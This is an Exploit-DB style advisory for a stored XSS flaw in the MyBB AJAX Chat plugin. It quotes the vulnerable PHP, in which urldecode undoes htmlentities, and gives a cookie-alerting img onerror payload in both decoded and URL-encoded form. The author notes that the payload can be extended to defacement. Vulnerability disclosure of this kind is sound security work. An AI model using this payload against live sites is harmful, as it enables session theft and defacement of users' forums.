MyBB AJAX Chat Persistent XSS Vulnerability

vendor:

AJAX Chat

by:

Mr. P-teo

7,5

CVSS

HIGH

Persistent XSS

CWE

Product Name: AJAX Chat

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE: N/A

CPE: a:mybb:ajax_chat:1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2012

MyBB AJAX Chat Persistent XSS Vulnerability

The Persistent XSS vulnerability lies within the chat_frame.php page. Although the message is filter with the htmlentities function, the vulnerability occurs with the use of the urldecode function, allowing us to bypass the htmlentities with url encoding. The vulnerability can be exploited via the following line, decoded as - '><img src='XSS' onerror='alert(document.cookie)' />

Mitigation:

Ensure that all user-supplied input is properly sanitized and validated before being used in the application.

Source

Exploit-DB raw data:

# Title: MyBB AJAX Chat Persistent XSS Vulnerability
# Date: 12/12/2012
# Exploit Author: Mr. P-teo
# Vendor Homepage: http://www.mybb.com/
# Software Link: http://mods.mybb.com/view/ajax-chat
# Version: 1
# Tested on: Windows

The Persistent XSS vulnerability lies within the chat_frame.php page.

*************************************** Persistent / Stored XSS **************************************


Although the message is filter with the htmlentities function below.
<?php

	$db->insert_query($tbl, array('uid' => $mybb->user['uid'], 'message' => $db->escape_string(htmlentities($message)), 'date' => time()));

?>

The vulnerability occurs with the use of the urldecode function, allowing us to bypass the htmlentities with url encoding.
<?php

	$msg = urldecode($row["message"]);

?>

The vulnerability can be exploited via the following line, decoded as - "><img src="XSS" onerror="alert(document.cookie)" />

%22%3E%3Cimg%20src%3D%22XSS%22%20onerror%3D%22alert(document.cookie)%22%20%2F%3E%0A

This can be expanded on with defaces etc, alert is just a basic example.

Brought to you be Mr. P-teo. 
Twitter: http://twitter.com/MrPteo